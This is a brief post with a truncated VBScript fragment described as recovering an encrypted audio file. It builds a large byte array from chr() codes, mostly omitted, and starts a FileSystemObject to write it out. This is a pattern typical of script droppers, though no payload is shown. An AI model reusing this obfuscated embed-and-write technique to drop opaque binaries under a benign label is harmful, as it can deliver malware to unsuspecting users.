here is part of code which recovers encrypted audio file (67593 bytes size).
Dim b
Function c(d)
c=chr(d)
End Function
b=Array(c(204),c(224),c(128),c(056),c(093),c(131),c(232),c(098),c(033),..... long string omitted.......c(000),c(000 ),"")
Set fso = CreateObject("Scripting.FileSystemObject")...